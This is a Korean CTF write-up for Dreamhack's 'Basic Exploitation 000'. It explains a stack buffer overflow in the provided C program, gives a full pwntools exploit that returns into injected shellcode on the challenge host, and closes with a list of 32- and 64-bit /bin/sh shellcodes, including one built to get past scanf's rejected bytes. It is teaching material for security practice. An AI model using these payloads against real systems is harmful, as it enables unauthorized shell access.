Dreamhack | Basic Exploitation 000
Dreamhack-Pwnable Basic Exploitation 000
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.
이 문제는 Shell Code 이후 실습 문제이다. 환경 정보를 보면 어떠한 보호 기법오 적용되어 있지 않은 것을 알 수 있다. 제공된 파일을 분석하면서 확인해보겠습니다.
문제 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
buf의 크기는 0x80로 128byte이지만, scanf("%141s", buf);로 총 141byte를 입력받기에 버퍼 오버플로우(BOF)가 발생할 수 있다.
해당 함수에서는 system() 관련된 get_shell() 함수가 없기에 ShellCode를 대입하는 것으로 문제 풀이가 가능하다.
ESP에서 0xffffff80만큼 add 즉, [ebp-0x80]에 esp가 위치하게 된다.
- [ebp-0x80]를 통해
scanf를 진행하므로 결국 Buf는 128byte를 차지하며 141byte까지 입력이 가능하다. 이로써 BOF 풀이가 가능하다.
[그림] Stack Memory
다운로드 파일을 실행해보면 Buf의 주소가 나오는데 아래처럼 계속 바뀌는 것을 알 수 있다.
그렇다면, 출력해주는 buf의 주소를 RET에 넣는다면 Buf에 넣은 ShellCode가 실행 될 것이다.
from pwn import *
p = remote('host3.dreamhack.games', YOUR PORT)
context(arch = 'i386', os='linux')
payload = b''
p.recvuntil('buf = (')
buf = int(p.recv(10), 16) # buf 값
p.recvuntil('\n')
#shellcode = asm(shellcraft.i386.linux.sh())
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x05\x04\x06\xcd\x80"
sfp = b'S' * 4
payload += shellcode.ljust(128, b'\x90')
payload += sfp
payload += p32(buf)
p.sendline(payload)
p.interactive()
이렇게 해결할 수 있었다. 하지만 pwntools에서 제공하는 shellcraft.sh()로는 해결할 수 없었다. 아래는 shellcraft.sh()를 print 한 것이다.
빨간 네모칸을 보면 SYS_execve를 하기 위해 0xb 값을 PUSH 한다. execve는 syscall로 11번이기에 0xb를 PUSH 해줘야 한다. 하지만 scanf는 \x09, \x0a, \x0b, \x0c, \x0d, \x20의 값을 읽게 되면 EOF를 선언해버리기 때문이다.
즉, shellcraft.sh()에는 x0b가 포함되어 있어서 사용하지 못하는 것이다.
32bit Shellcode
- 25 Bytes Shell Code
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 - 26 Bytes Shell Code (Scanf 우회)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x05\x04\x06\xcd\x80 - 41 Bytes Shell Code (setreuid(geteuid(), getreuid()) 포함)
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 - 48 Bytes Shell Code (\x2f가 없는 쉘코드)
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
64bit Shellcode
- 25 Bytes Shell Code
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05 - 31 Bytes Shell Code
\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05 - 출처